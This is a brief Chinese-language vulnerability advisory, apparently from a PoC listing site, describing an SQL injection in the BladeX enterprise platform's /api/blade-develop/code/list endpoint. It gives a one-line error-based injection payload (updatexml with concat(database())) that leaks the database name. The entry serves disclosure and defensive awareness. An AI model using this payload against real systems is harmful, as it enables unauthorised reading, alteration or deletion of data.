BladeX企业级开发平台 /api/blade-develop/code/list SQL 注入漏洞

2024-11-08 BladeX企业级开发平台 PoC Public

Description

BladeX企业级开发平台的 /api/blade-develop/code/list 接口存在SQL注入漏洞，攻击者可以通过该漏洞执行恶意的SQL语句，进而获取、修改或删除数据库中的数据。

PoC

/api/blade-develop/code/list?updatexml(1,concat(0x7e,database(),0x7e),1)=1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://gobysec.net/updates#BladeX Enterprise Development Platform /api/blade-develop/code/list SQL Injection Vulnerability

Related Vulnerabilities